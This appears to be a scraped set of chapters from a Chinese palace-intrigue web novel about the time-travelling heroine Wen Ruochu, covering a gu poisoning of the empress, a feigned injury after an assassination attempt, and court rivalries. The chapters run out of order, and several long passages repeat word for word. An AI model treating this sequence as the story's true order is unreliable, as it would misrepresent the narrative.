女皇扫视一眼跪地众人,都是她的亲信之臣,面上怒意不减。 “怎么回事?” 王丞相率先道:“圣人,若初郡主所言句句属实,是若初郡主胆大心细,发现端倪,不辞劳苦奔波,护圣人身体安康,臣已查明是上官胆大包天在圣人体内下了蛊毒,意图操控圣人。” 太医把脉案以及有关蛊毒记载的古籍呈递给女皇。 女皇翻看数十页,面色越来越难看,差不多半炷香之后,啪一声合上手中古籍。 “凌玄礼呢?” 凌玄礼一身铠甲走进来,单膝跪地。 “臣在!” “把上官带过来!朕要亲自审问。” “是。” “慢着,”女皇叫住凌玄礼,“把凌肃那个逆子也带到朕面前来,朕倒是要看看他想干什么?” “是!” 殿内气氛紧张得能拧出水来,空气都好像凝固了一般,众人跪在地上大气不敢喘。 女皇嘴角还挂着乌黑的血迹,胸口剧烈起伏着。 “都起来吧。” “谢圣人。”众人这才呼呼啦啦起身。 不多时,安王凌肃被禁军押了上来。 安王还不知道发生了什么事,双手被反绑至身后,进来的时候嘴里还骂骂咧咧威胁禁军。 “放开本王,你们吃了熊心豹子胆,想造反吗?!” 凌玄礼拱手道:“启禀圣人,安王凌肃已带到。” 顿了顿,面上露出难色。 “臣命人找了上官住处,没找到上官。” 女皇坐在椅子里,目光如刀。 “没找到?一个活人还能飞了不成?没找到就继续去找,加派人手,活要见人死要见尸,若遇反抗,就地格杀!” “是!” 安王跪在女皇面前,察觉到气氛不对,从方才女皇的话里,也分析出了大概是上官惹了事。 王丞相等女皇亲近的老臣和宗亲,一个个站在一边,面色凝重,温若初站在王丞相身边,愤恨地盯着他。从几人站的位置上能看出来,今天又是温若初在挑事。 安王脸色瞬间惨白如纸,赶紧磕头。 “母皇是……上官出什么事了?可不关儿臣的事啊。” 女皇气得浑身发抖,“你送到朕身边的人,居然给朕下蛊……” 声音陡然抬高,“……好大的胆子!” 安王吓得一哆嗦,“儿臣不敢!母皇明察。” 余光瞅见温若初,意有所指地为自己辩解。“一定是有人故意栽赃陷害儿臣,母皇你要相信儿臣啊。” 女皇顺着凌肃的眼神瞅了一眼温若初。 “你看小初做什么?要是没有小初,朕的这条命就搭在你这个逆子手里了!” 凌肃磕头如捣蒜。 “母皇明鉴,儿臣实在不知,上官……上官……” 眼珠子转了转,像是突然想到自救办法,抬头看向女皇。 “上官是小初的妹妹温清柔举荐给儿臣的,儿臣也是上了那个女人的当了。” 于是女皇命人把温清柔也带了过来。 温清柔跪在地上,浑身抖得直哆嗦,像触电了似的,丝毫不见在温若初面前那自诩嫡女高人一等的派头。 女皇盯着温清柔看了半天。 “温清柔,朕问你,你是在哪里认识的上官,和上官又有什么关系?” 温清柔不敢抬头,颤抖着声音回道。 “臣女……是在秦楼里认识的上官……” 此言一出,众人一阵唏嘘,一个寡妇去秦楼,当真不知羞耻。 温清柔脸色臊得通红,都是女子,不敢当着圣人的面说她和上官的关系。 “臣女和上官只是认识,并无其他,我们偶尔一起品茶作诗,后来凌小姐也一起,一次上官提及不仅会推拿按摩还擅长巫蛊之术,再后来,臣女就没见过上官了。” 第97章 狗咬狗一嘴毛 r温若初把汤药端到女皇面前,女皇拧着眉头往后躲,略显浑浊的眼睛,嫌弃地看着那碗黑漆漆的汤药。 “什么啊?” 汤药泛着一股恶臭,胡庸还特意让人滤去了药渣。 温若初故意做出一副不高兴的样子,撅着嘴巴。 “我好不容易弄来的黑海参,想着拿来给外祖姑母补身子,没想到外祖姑母如此嫌弃。”说着眼睛里憋出两滴眼泪出来。 “外祖姑母不要我这份孝心,小初以后少来圣人面前讨嫌就是了。” 女皇瞧着她这幅拈酸吃醋的样子,到底是自己养大的,心软了,妥协地叹了一口气,伸出手指戳了一下温若初的脑袋。 “你啊,朕只是瞧着不对劲,闻着就有点反胃。” 反胃就对了。 温若初解释,“熏煮的时候,加了些别的补药,数九寒冬,正是补气血的好时候,小初还等着圣人长命百岁呢。” 端来一盘蜜饯,“喝完了吃一颗,不会太苦的。” “朕还等着你生儿育女呢。” 女皇瞅了温若初好几眼,拗不过温若初,端起药碗,仰头一口灌下。 染着丹寇的手指拿起蜜饯,蜜饯还没等进嘴,胃内一阵翻涌。 “呕~” 呕出一大滩黑糊糊的东西,细看之下,黑血里隐有东西一拱一拱地蠕动,没一会冒出一个长着黑色触角的软体蛊虫。 女皇脸色煞白,捂着胸口,苍老的眸子此时满是冰冷的戾气,抬眼看向温热若初,厉声质问。 “你……你给朕吃了什么?” 温若初赶紧双膝跪地,声音急切且带着不容置疑的笃定。 “圣人,有人给您下了蛊毒,刚才您喝的汤药正是解蛊毒的药,臣女诓骗您,实属不该,求圣人责罚。” 女皇眉头紧蹙,呼吸急促,强忍着身体的不适与心头的怒火,冷冷道。 “你说有人蓄意加害,可有证据?今日之事,关乎朕的性命,若是查无实据,你休怪朕不念及亲情!” 温若初叩首在地,额头触碰到冰冷的地砖。 “小初不敢欺瞒圣人,胡庸以及太医院的几位太医都可作证。” 宫人进来传话,“圣人,王丞相说有急事求见,事关蛊毒。” “传。” 王丞相领着十几个朝臣和宗亲,还有太医院的几位太医,呼呼啦啦跪了一地。 女皇扫视一眼跪地众人,都是她的亲信之臣,面上怒意不减。 “怎么回事?” 王丞相率先道:“圣人,若初郡主所言句句属实,是若初郡主胆大心细,发现端倪,不辞劳苦奔波,护圣人身体安康,臣已查明是上官胆大包天在圣人体内下了蛊毒,意图操控圣人。” 太医把脉案以及有关蛊毒记载的古籍呈递给女皇。 女皇翻看数十页,面色越来越难看,差不多半炷香之后,啪一声合上手中古籍。 “凌玄礼呢?” 凌玄礼一身铠甲走进来,单膝跪地。 “臣在!” “把上官带过来!朕要亲自审问。” “是。” “慢着,”女皇叫住凌玄礼,“把凌肃那个逆子也带到朕面前来,朕倒是要看看他想干什么?” “是!” 殿内气氛紧张得能拧出水来,空气都好像凝固了一般,众人跪在地上大气不敢喘。 女皇嘴角还挂着乌黑的血迹,胸口剧烈起伏着。 “都起来吧。” “谢圣人。”众人这才呼呼啦啦起身。 不多时,安王凌肃被禁军押了上来。 安王还不知道发生了什么事,双手被反绑至身后,进来的时候嘴里还骂骂咧咧威胁禁军。 “放开本王,你们吃了熊心豹子胆,想造反吗?!” 凌玄礼拱手道:“启禀圣人,安王凌肃已带到。” 顿了顿,面上露出难色。 “臣命人找了上官住处,没找到上官。” 女皇坐在椅子里,目光如刀。 “没找到?一个活人还能飞了不成?没找到就继续去找,加派人手,活要见人死要见尸,若遇反抗,就地格杀!” “是!” 安王跪在女皇面前,察觉到气氛不对,从方才女皇的话里,也分析出了大概是上官惹了事。 王丞相等女皇亲近的老臣和宗亲,一个个站在一边,面色凝重,温若初站在王丞相身边,愤恨地盯着他。从几人站的位置上能看出来,今天又是温若初在挑事。 安王脸色瞬间惨白如纸,赶紧磕头。 “母皇是……上官出什么事了?可不关儿臣的事啊。” 女皇气得浑身发抖,“你送到朕身边的人,居然给朕下蛊……” 声音陡然抬高,“……好大的胆子!” 安王吓得一哆嗦,“儿臣不敢!母皇明察。” 余光瞅见温若初,意有所指地为自己辩解。“一定是有人故意栽赃陷害儿臣,母皇你要相信儿臣啊。” 女皇顺着凌肃的眼神瞅了一眼温若初。 “你看小初做什么?要是没有小初,朕的这条命就搭在你这个逆子手里了!” 凌肃磕头如捣蒜。 “母皇明鉴,儿臣实在不知,上官……上官……” 眼珠子转了转,像是突然想到自救办法,抬头看向女皇。 “上官是小初的妹妹温清柔举荐给儿臣的,儿臣也是上了那个女人的当了。” 于是女皇命人把温清柔也带了过来。 温清柔跪在地上,浑身抖得直哆嗦,像触电了似的,丝毫不见在温若初面前那自诩嫡女高人一等的派头。 女皇盯着温清柔看了半天。 “温清柔,朕问你,你是在哪里认识的上官,和上官又有什么关系?” 温清柔不敢抬头,颤抖着声音回道。 “臣女……是在秦楼里认识的上官……” 此言一出,众人一阵唏嘘,一个寡妇去秦楼,当真不知羞耻。 温清柔脸色臊得通红,都是女子,不敢当着圣人的面说她和上官的关系。 “臣女和上官只是认识,并无其他,我们偶尔一起品茶作诗,后来凌小姐也一起,一次上官提及不仅会推拿按摩还擅长巫蛊之术,再后来,臣女就没见过上官了。” 第128章 断子绝孙 隔天,天还没亮,温若初缩在暖烘烘的被窝里,迷迷糊糊耳边传来簌簌穿衣声,像是提前感知到什么似的,手先于大脑做出反应。 伸出胳膊,精准地抓住沈惊澜衣角,抬头看向沈惊澜,睡意瞬间全无。 屋内光线有些昏暗,早晨的太阳光还没照进来,沈惊澜的大半身影都在黑暗中,背对着她。 沈惊澜不愿意带她,他想自己走。 温若初眨着一双眼睛,灵动的眸子中带着不加掩饰的关切和不满。 “你干嘛去?” 明知道沈惊澜要做什么去,故意问了一句,语气中含着几分诘问意味。 沈惊澜穿着素白里衣,赤着脚,手里拎着鹿皮厚底朝靴,打算去外间穿衣裳,轻手轻脚地起床,没想到还是把人吵醒了。 沈惊澜回手轻轻拍了拍她的手背,没正面回答她的问题。 “时辰还早,你多睡一会儿。” “你要进宫给父皇请安,挑衅沈星驰?”温若初直言道。 没松开沈惊澜衣角,反而整个人贴了上去,侧脸蹭了蹭沈惊澜宽厚脊背。 “我们是夫妻,你的事就是我的事,我也可以像范天恩古叔他们一样,站在你身边,做你的幕僚,帮你为寒妃伸冤,然后我们一起登上高位。” 温若初的声音很低,语气真切。 沈惊澜脊背僵了僵,丢下手里鹿皮厚底朝靴,回身抱住她,双臂环得很紧。 “我把你带到身边,不是让你担心受怕身处险地。” 温若初吸了吸鼻子。 “我知道老皇帝皇后沈星驰还有那个柳妃,这些人没有一个良善之辈,你不想让我身处险境,我也已经身处险境了,又不能一直缩在府里不出去,总是要面对的。” 前朝后宫联系千丝万缕,沈惊澜可以在朝堂上和老皇帝沈星驰斗法,后宫战场就得她上。 像之前一样,沈惊澜和她相互配合,一明一暗。 温若初抱着沈惊澜的侧腰,抬眼偷偷打量沈惊澜神色。 沈惊澜眉目紧锁,似乎在斟酌可行性,神色已经明显有松动迹象。 温若初半开玩笑,“你若怕我身处险境,那我和凌大人回大虞?” “想都别想!” 沈惊澜眼底挣扎和斟酌一下子就没了,脱口而出。 也不知道是联想到了什么,沈惊澜蹙起的眉头蹙得更深了,脸色比外面的天色还黑,弯腰把脚踏上的绣鞋递到温若初脚边。 “穿衣裳去,和我一起进宫。” 温若初低笑两声,知道这招管用,没想到这么管用。 这才对嘛,手起刀落,当机立断才是沈惊澜的行事方式。 早这么干脆,她也不至于拿出这招杀手锏。 本以为还要磨上一番嘴皮子,还有一肚子腹稿没用呢,没想到提一嘴和凌玄礼回大虞,沈惊澜二话不说就答应了。 秋菊和月儿进来伺候,温若初梳洗打扮。 温若初坐在铜镜前,自己动手化妆,这次和沈惊澜去给老皇帝请安,是为让让老皇帝看起来“偏宠”沈惊澜,进而达到刺激沈星驰和皇后的目的。 老皇帝和沈惊澜之间矛盾由来已久,让老皇帝主动“偏宠”沈惊澜是不行的,那就得想点别的折子。 孕中期,肚子里的两个小崽子也不闹腾了,温若初能吃能喝,气色看起来比没怀身孕的时候都好。 她自己调了调脂粉颜色,均匀涂抹在脸上,蜡黄蜡黄的,眼窝瞄黑,看起来一副被吸干气血的病弱样子。 化完妆,故意做出无精打采的样子,衣裳是素色的,佝偻着身子,摇摇晃晃回头,看上去病得和老皇帝有一拼。 秋菊月儿包括沈惊澜都呆愣住了。 沈惊澜打量她的脸色,面上难掩关切之色,急道。 “你……你病了,别动,”吩咐秋菊,“去叫古叔过来。” 秋菊也以为温若初突然身子抱恙了,不敢耽搁,抬腿就要走。 “不用,不用,回来。” 温若初赶紧叫住秋菊,瞬间破功大笑两声。 “我没病,”指着自己的脸,梗着脖子,语气傲娇。 “脂粉涂的,厉害吧。” 她可是二十一世纪穿过来的,化妆技能对于她这个社畜来说,简直就是张飞吃豆芽——小菜一碟。 沈惊澜面上忧心未来得及退去,又多了几分惊讶,端详温若初半晌,深吸一口气,勾起唇角,含着几分宠溺的意味,摇了摇头。 “用早膳吧。” 温若初为了保持病娇状态,简单用了点早膳,只垫垫肚子。 早膳过后,带上两株雪莲,和沈惊澜两人同乘一辆马车,马车里准备了六七样,式样精美,或软糯,或酥脆的点心。 马车高大华丽,车厢宽敞,陈设四个软椅,一方雕刻着八仙的红木矮几敦实地摆在中间,矮几上摆着糕点,脚边放着黄铜火盆。 温若初脱下素色披风,坐到软椅里,看着面前各色糕点,吞了吞口水。 沈惊澜拿起一块桂花糕,递到她嘴边。 “尝尝?” “不了。”正事要紧,不然早晨白吃那么少了。 沈惊澜唇角微微翘了翘,像是猜中她心思似的。 “王妃怀着双生子身子不适,你看起来病得很‘真’,不差这两块点心。” 温若初舔了舔嘴唇,犹豫半天,接过来桂花糕放到碟子里。 “先放着,回来吃。” 不多时,马车抵达皇宫,到了内门,文官下轿,武官下马,除了太子,所有的皇子都没例外。 初一正是成年皇子们入宫请安的日子,皇子们要先去给老皇帝请安,然后去后宫见母亲,没有皇帝恩准,一个月见一次。 温若初和沈惊澜从马车上下来,凑巧碰到四皇子沈雨霁和四皇子妃张氏。 两家人寒暄问好,一起前往御乾宫拜见老皇帝。 沈惊澜和沈雨霁在前,温若初和张氏携手在后。 张氏是吏部侍郎张守中的女儿,一个四品官员的家的嫡次女,本是配不上皇子,可沈雨霁生母身份低微,不受老皇帝重视,依附于皇后和太子,婚配自然低了一些。 张氏热络地扶着温若初,闲聊说笑间瞅了一眼她的小腹。 “才六个月的肚子就这么大了。” 温若初抚了抚小腹,“府医说是双生子,肚子瞧着比旁人的大些。” “原来如此,这可是大喜事,等会可是要把这个好消息告诉父皇,父皇的咳疾说不定就好了。” 张氏笑着说道,看着温若初的小腹,眼底柔和而爱怜,像是想起什么伤心事,微微叹了一口气。 “女子有孕产子不易,时时注意着,尤其是孕期,时间长,中间不能出一点差错,皇家子嗣珍贵……” 张氏瞅了一眼沈飞白背影,脚步慢了下来,捏了捏温若初手指。 “……无论什么时候,一定要提起十二分精神,方能平安把孩子生下来。” 温若初来雍国也有一阵子了,平常没事听秋菊和月儿闲聊皇子们的八卦,这位四皇子妃张氏曾先后怀过两胎,都莫名其妙没了,有一胎都八个月,小产,是男婴,没保住。 老皇帝十三个儿子,孙子辈却不进人尽,只太子沈星驰有两个儿子,剩下的能平安长大的都是女娃。 她之前就觉得这里面有猫腻。 张氏的暗示也侧面证明了她的猜想。 雍国皇帝豺狼环伺,本就不是什么象牙塔安乐窝,她是来夺权的,注定坎坷。 兵来将挡水来土掩就是。 不管张氏是敌是友,这句提醒是善意的,温若初对张氏笑了笑。 “多谢。” 一行人说笑间到了御乾宫老皇帝住的寝宫。 宫人通传后,几人走进寝宫,跪地行礼。 第140章 遇刺 柳妃被老皇帝敕令在翠云居养心病,沈飞白的府邸在宫外,她这个母妃却不能去见。 宫妃是不能随意出宫的,柳妃只在沈飞白咽气那日,获得老皇帝恩准,去看了一眼。 赶上过年,别人都欢喜团圆,她的儿子却躺在冰冷棺椁里…… 柳妃的心比屋外的雪花还冷。 她确信沈飞白的“病”,就是沈惊澜背后搞鬼,却苦于没有证据。 除夕宴见到温若初挺着肚子,和沈惊澜夫妻恩爱,有说有笑。 犹如无数根针,扎在柳妃心口。 她早就想发疯弄死沈惊澜和温若初了。 只恨自己没长三头六臂弄死温若初肚子里的孩子。 反倒惹了陛下的嫌。 她不后悔。 只是…… 兄长还在禁足教导侄子柳知意,儿子沈飞白突然薨逝,如今她又被软禁翠云居。 有些后悔没早听兄长的话,把族亲的女儿多弄宫里几个,多生几个儿子。 沈飞白死了,还能用沾有柳家血脉的孩子顶上。 如今是说什么都来不及了。 柳妃瘫坐在翠云居冰冷地板上,听着外面阵阵爆竹声响,一股滔天恨意涌上心头。 转念一想,不行,柳家不能就这么完了。 她还有子侄,柳知意仪表堂堂,文韬武略,若是有朝一日位极人臣,一样可以让柳家屹立不倒。 陛下还说柳知意是好孩子。 柳妃爬了起来,抬手抹干净眼底泪水,到书案前提笔写了一封信,折好,塞进信封,递给身边伺候的小宫女。 “这个给本宫兄长送去。” 小宫女接过信,点头应声,“是。” 除夕过后,都城各王府勋贵世家要举办春日宴,荣王府多少也算新晋勋贵,邀请帖收到了不少。 温若初放出话,除夕宴受到了惊吓,身子抱恙。 大家都企盼新的一年顺风顺水,平常连说话都注意,忌讳晦气的话。 大正月身子抱恙,谁都不愿意触霉头。荣王府门口安静了。 一直到正月十五上元节,沈惊澜作为礼部侍郎以及九皇子,连带太子和其他几位皇子,陪同老皇帝去法华寺点灯。 上元节后,这个年算是真正过完了,新的一年开始。 皇帝去法华寺在佛祖面前点灯,告诉佛祖新的一年庇佑雍国子民。 一大早沈惊澜走的时候告诉她,会晚些回来。 结果,一整晚都没回来,一大早宫里来人传信,老皇帝遇刺,沈惊澜为老皇帝挡了一刀,受了伤。 传话的是王公公,为人刻板,是沈惊澜的人,王爷怎么传话给他的,他就怎么转述给王妃,恭敬道。 “昨儿陛下和王爷他们在法华寺将就一宿,王爷说他并无大碍,王妃当心身子,切莫过于挂心。” “估摸着晚一会儿,王爷就能回来了。” 不是她不相信沈惊澜武功,实在是敢行刺皇帝的,都是抱着必死决心的亡命之徒。 为那老登挡一刀,不说值不值得。 就说刺客那一刀,肯定是下了死手,沈惊澜能无碍? 温若初脸色煞白,手有些凉。 “劳烦公公跑一趟了。” 送走王公公没多久,门房的人传话。 “王爷回来了。” 温若初赶紧出门去迎,门口两列威风凛凛大内禁军,护送一辆高大威武华丽八乘马车,竟然是老皇帝的銮驾,老皇帝的亲随李公公亲自护送。 荣王府门口巷子狭小,堵得满满登登,迫使往来车马绕道而行。 沈惊澜被人从马车上抬下来。 沈惊澜眼眸闭合,脸色煞白,白色纱布包裹着前胸,左一圈右一圈,裹得严严实实跟木乃伊似的,身上搭盖着沈惊澜早晨走的时候穿的那件玄色衣袍,前襟一大片暗色血迹。 沈惊澜气息微弱地躺在架子上,瞧着就吓人。 这是皮外伤? 温若初脑子嗡的一声,扑了过去,哭喊。 “沈惊澜你怎么样了?你可千万别死啊,你死了我怎么办啊?” 李公公神色凝重,看到温若初挺着肚子哭得伤心,拧眉微微叹了一口气,似乎是在可怜温若初年纪轻轻做了寡妇。 秋菊和月儿赶紧扶住温若初。 “公主当心身子。” 李公公安慰温若初。 “荣王妃娘娘快把王爷送屋里去吧,陛下说了王爷的这份孝心无人能及,勇气可嘉,等王爷身子……” 哽咽一声,吸了吸鼻子,“……王爷身子好了,陛下定有重赏。” 温若初正哭得伤心,指尖忽然被捏了一下,哭声不觉小了些,她垂眼看向沈惊澜。 沈惊澜依然闭着眼睛,没什么生气地躺在那。 温若初微微顿了一下,眼角余光瞥了一眼李公公,哭得更伤心了。 “我领着孩子今后该怎么活啊?” 让人把沈惊澜抬府里去,怨怼地瞅了一眼李公公,连客气话都没说,就让人关上了大门。 方才抬沈惊澜的小太监对着紧闭门板,轻嗤一声,凑到李公公身边,愤愤不平道。 “这位荣王妃的性子好像不大好相处啊,干爹您可是伺候的陛下的,谁不给您三分面子,咱们费劲地把人送回来了,赏银没有就算了,连句客套话都不会说。” “就你话多!” 李公公用拂尘木柄敲了小太监脑袋,陛下法华寺遇刺,荣王挡刀,出了半盆的血。 随行御医检查过伤势,伤及脏腑,十有八九这条命是保不住了。 能熬过这几日算是荣王命大,熬不过,替陛下挡刀而死,也是荣王前世修来的福分,算了折了寒妃当年勾引太子殿下的罪孽。 人心都是肉长的,瞧着温若初挺着肚子哭得伤心模样,任谁见了心里都不好受。 李公公没好气地数落小太监。 “也不看看荣王妃之前是什么人,大虞女皇跟前千娇百宠的郡主,荣王重伤生死未卜,没拿着砍刀出来问罪,就是咱爷俩的造化,还要什么赏银!” 温若初赶紧命人把沈惊澜抬去内院,放到床上。 “秋菊去请古叔过来,月儿去烧些热水,剩下的人都出去。”温若初吩咐道。 “是。” 丫鬟小厮都被温若初打发走了,屋里只剩下躺在床上的沈惊澜和温若初。 温若初回手关上门,快步走到床边,沈惊澜已坐起身,唇边噙着一抹若有似无的笑意。 果然是装的,温若初心底暗暗松了一口气,狠狠拍了一把沈惊澜后背,急声问道。 “你怎么回事?” 沈惊澜身体前倾一下,下意识捂住胸口,蹙眉头“嘶”了一声。 真受伤了! 温若初瞪大眼睛,关切道。 “你……你怎么样了。” 沈惊澜额头上渗出一层虚汗,扯了扯嘴角,摇摇头。 “我没事,昨晚我随驾前往法华寺……” 沈惊澜轻描淡写老皇帝遇刺,以及沈惊澜挡刀的经过。 他说得轻巧,温若初听得心惊肉跳,脑补一出武侠权谋动作大片。 原来,沈惊澜早知道法华寺会有这么一出行刺戏码。 第119章 婚宴 主管太监尖细着嗓子,朗声念叨了一大段什么承天命,皇帝仁慈之类的屁话,老太太裹脚布一样,又臭又长。 说白了就是皇帝封沈惊澜为荣亲王,温若初和沈惊澜结为夫妻,就这一句话有用。 温若初站在长乐宫大殿中央,头上顶着镶嵌红蓝宝石,孔雀式样的纯金头冠,头冠沉重,坠得脑子沉沉的,脖子都有点酸疼了。 她小幅度地扭了扭僵硬的脖子,忽觉头顶轻了轻,头顶重量减轻不少。 温若初侧目看向沈惊澜。 沈惊澜单手伸在她身后,大概是在帮她托举着头上发冠。 温若初小声道了声“谢”。 皇帝和皇室宗亲们都看着,沈惊澜此举有些不妥。 诵读诏书的主管太监,注意到两人,微微顿了顿,余光快速瞄了一眼皇帝,皇帝眯着眼睛都快睡着了,没人挑理。 多一事不如少一事,他继续读。 半晌后,一句拉着长长尾音的“钦此——”落地。 鼓乐声起,礼成,宴席开始。 宴席开始之前,温若初让秋菊又找机会问了一遍王美人。 虽然她和沈惊澜做了完全准备,毕竟此计有损名声,凡事没有绝对,谁也不敢保准没有意外发生,开弓没有回头箭,现在后悔还来得及。 没一会儿,秋菊传王美人的话回来。 王美人愿意,愿赌服输,不赌她也活不成了。 温若初心里有了数,和沈惊澜刚在自己的位置上落座,纷纷有人来祝贺,菜都凉了,人才稍稍少了一些。 周围终于空了下来,新鲜空气涌了过来,温若初长长松了一口气,这一口气还没喘匀乎,头顶忽然响起一道浑厚男音。 “九弟,大虞为质十几年,劳苦功高,苦了你了,如今受封亲王,抱得美人归,也是苦尽甘来了,这杯酒,为兄敬你们二位。” 温若初抬头,起身看向说话之人。 眼尾微微低垂,三十出头,一袭湖蓝色锦袍,腰间坠着一方墨石状的黑玉,说话的时候唇角微微带着笑意。 眼底始终藏着几分让人琢磨不透的意味,言谈举止透着一股书生特有的儒雅之气。 若是没猜错,此人应该是四皇子沈雨霁,母亲是官女子,依附于皇后和太子。 书中沈惊澜回雍国之后弑父杀兄,这位是最后一个被沈惊澜弄死的。 沈惊澜为世人诟病皇位得来不正,沈雨霁出了不少力。 此人瞧着随和,却颇有心机手段,野心也是有的。 “多谢四皇兄,谨之不善饮酒……” 沈惊澜微微欠身,脸上挂着疏离又不失礼貌的浅笑。 “……只能以茶代酒,还望四皇兄莫要见怪。” 说罢,他端起桌上早已备好的茶盏,向那四皇子沈雨霁示意。 沈雨霁尴尬一闪而过,温和地笑了笑。 “没关系,今天是你和若初公主的大喜日子,这杯酒皇兄干了,你随意。” 温若初手里端着果茶,唇边扯出笑意,刚要说谢皇兄体恤。 就听到不远处出来一道带着几分不屑意味的啧啧声。 极不和谐,听着就生理性不适,让人生厌。 “不过是封了一个亲王,就摆这么大的架子。” 说话的是大皇子沈星驰。 沈星驰的座位和沈惊澜之间隔着三个人。 沈星驰散漫地曲着一条腿,坐在座位里,单手拿着酒杯,斜睨了四皇子沈雨霁一眼。 “要本宫说你点什么好,喝酒就乖乖在自己窝里喝,端着酒杯去那边贴冷屁股,自找没趣!” 话说得很难听,当着朝臣和大虞使臣的面,没给沈惊澜和温若初面子,更没给四皇子沈雨霁面子。 周围一小片都没了声音,气氛尴尬。 众人你看看我,我看看你,撇嘴,摇头,意味深长。 沈雨霁杵在原地,微笑掩饰尴尬,走也不是,留也不是。 大皇子沈星驰不耐催促沈雨霁。 “还杵在那干嘛?过来给本宫拿壶酒。” 沈雨霁被呼来喝去,像狗一样,走的时候,不忘对沈惊澜和温若初点头笑了笑,坐回原位。 没一会儿,刁嬷嬷绕到沈星驰身后,低声道。 “皇后娘娘懿旨,陛下和大虞使臣都在,太子殿下如此张扬行事,恐惹陛下不悦,殿下谨言慎行些。” 沈星驰三十大几的人,稳坐太子之位多年,不愿意受拘束。 沈星驰不以为意地蹙了蹙眉头。 “本宫不就是让老四回来?” 刁嬷嬷欲言又止提醒,“是荣王殿下,今日是荣王殿下受封礼,又是大婚,大虞使臣也在,总不好下大虞的面子。” 不说沈惊澜还好,刁嬷嬷说起沈惊澜,沈星驰脸色更不好了。 沈星驰不爽沈惊澜好久了。 沈惊澜都回雍国半个多月了,没给他见礼,也不登门参拜,拽得二五八万似的,跟寒妃一个死样子。 就是没把他这个太子放在眼里! 提起寒妃,沈星驰一阵唏嘘,当年寒妃顺着他点,何至于闹得沸沸扬扬,自己落得个香消玉殒下场。 寒妃自己想不开寻死,被打入冷宫也是父皇下的命令。 想想都觉得挺可惜。 近几年,他时常还想起寒妃。 每年忌日还派人祭奠一下,沈星驰自认有情有义,他对寒妃仁至义尽。 沈惊澜刚回来那会,他还顾念寒妃旧情,有意招揽沈惊澜,照顾照顾,让母后派人送东西给他。 可那个沈惊澜不但不感激,反而看他的眼神也是阴恻恻的,像是把他当仇人。 一个刚回来不受父皇宠爱的皇子,也敢拂他的面子,简直就是不自量力。 “本宫哪句话说错了,不就是当了十几年的质子,回来就跃龙门了?娶了大虞公主又怎么样,父皇不喜就是不喜,这辈子都翻不了身。” 沈星驰重重放下酒杯,斜睨刁嬷嬷。 “一个没有实权的亲王,至于让你们怕成这样?” 之前沈飞白暗戳戳在他身后使绊子,妄图抢走他的储君之位。 眼下,沈飞白半死不活,还能站起来和他抢雍国江山不成? 皇位板上钉钉就是他的。 也不知道母后怎么想的,为何自降身份上赶着巴结他沈惊澜? 刁嬷嬷被噎得说不出话,太子过得太顺遂,性子直,藏不住事,有些话不能和太子明说。 “是娘娘……” 得了内线,不可招惹沈惊澜和温若初,必须把这两人拉拢过来,否则,太子储君之位怕是不保。 “行行行……” 沈星驰打断刁嬷嬷,不耐烦地摆摆手。 “本宫知道了!” 第128章 断子绝孙 隔天,天还没亮,温若初缩在暖烘烘的被窝里,迷迷糊糊耳边传来簌簌穿衣声,像是提前感知到什么似的,手先于大脑做出反应。 伸出胳膊,精准地抓住沈惊澜衣角,抬头看向沈惊澜,睡意瞬间全无。 屋内光线有些昏暗,早晨的太阳光还没照进来,沈惊澜的大半身影都在黑暗中,背对着她。 沈惊澜不愿意带她,他想自己走。 温若初眨着一双眼睛,灵动的眸子中带着不加掩饰的关切和不满。 “你干嘛去?” 明知道沈惊澜要做什么去,故意问了一句,语气中含着几分诘问意味。 沈惊澜穿着素白里衣,赤着脚,手里拎着鹿皮厚底朝靴,打算去外间穿衣裳,轻手轻脚地起床,没想到还是把人吵醒了。 沈惊澜回手轻轻拍了拍她的手背,没正面回答她的问题。 “时辰还早,你多睡一会儿。” “你要进宫给父皇请安,挑衅沈星驰?”温若初直言道。 没松开沈惊澜衣角,反而整个人贴了上去,侧脸蹭了蹭沈惊澜宽厚脊背。 “我们是夫妻,你的事就是我的事,我也可以像范天恩古叔他们一样,站在你身边,做你的幕僚,帮你为寒妃伸冤,然后我们一起登上高位。” 温若初的声音很低,语气真切。 沈惊澜脊背僵了僵,丢下手里鹿皮厚底朝靴,回身抱住她,双臂环得很紧。 “我把你带到身边,不是让你担心受怕身处险地。” 温若初吸了吸鼻子。 “我知道老皇帝皇后沈星驰还有那个柳妃,这些人没有一个良善之辈,你不想让我身处险境,我也已经身处险境了,又不能一直缩在府里不出去,总是要面对的。” 前朝后宫联系千丝万缕,沈惊澜可以在朝堂上和老皇帝沈星驰斗法,后宫战场就得她上。 像之前一样,沈惊澜和她相互配合,一明一暗。 温若初抱着沈惊澜的侧腰,抬眼偷偷打量沈惊澜神色。 沈惊澜眉目紧锁,似乎在斟酌可行性,神色已经明显有松动迹象。 温若初半开玩笑,“你若怕我身处险境,那我和凌大人回大虞?” “想都别想!” 沈惊澜眼底挣扎和斟酌一下子就没了,脱口而出。 也不知道是联想到了什么,沈惊澜蹙起的眉头蹙得更深了,脸色比外面的天色还黑,弯腰把脚踏上的绣鞋递到温若初脚边。 “穿衣裳去,和我一起进宫。” 温若初低笑两声,知道这招管用,没想到这么管用。 这才对嘛,手起刀落,当机立断才是沈惊澜的行事方式。 早这么干脆,她也不至于拿出这招杀手锏。 本以为还要磨上一番嘴皮子,还有一肚子腹稿没用呢,没想到提一嘴和凌玄礼回大虞,沈惊澜二话不说就答应了。 秋菊和月儿进来伺候,温若初梳洗打扮。 温若初坐在铜镜前,自己动手化妆,这次和沈惊澜去给老皇帝请安,是为让让老皇帝看起来“偏宠”沈惊澜,进而达到刺激沈星驰和皇后的目的。 老皇帝和沈惊澜之间矛盾由来已久,让老皇帝主动“偏宠”沈惊澜是不行的,那就得想点别的折子。 孕中期,肚子里的两个小崽子也不闹腾了,温若初能吃能喝,气色看起来比没怀身孕的时候都好。 她自己调了调脂粉颜色,均匀涂抹在脸上,蜡黄蜡黄的,眼窝瞄黑,看起来一副被吸干气血的病弱样子。 化完妆,故意做出无精打采的样子,衣裳是素色的,佝偻着身子,摇摇晃晃回头,看上去病得和老皇帝有一拼。 秋菊月儿包括沈惊澜都呆愣住了。 沈惊澜打量她的脸色,面上难掩关切之色,急道。 “你……你病了,别动,”吩咐秋菊,“去叫古叔过来。” 秋菊也以为温若初突然身子抱恙了,不敢耽搁,抬腿就要走。 “不用,不用,回来。” 温若初赶紧叫住秋菊,瞬间破功大笑两声。 “我没病,”指着自己的脸,梗着脖子,语气傲娇。 “脂粉涂的,厉害吧。” 她可是二十一世纪穿过来的,化妆技能对于她这个社畜来说,简直就是张飞吃豆芽——小菜一碟。 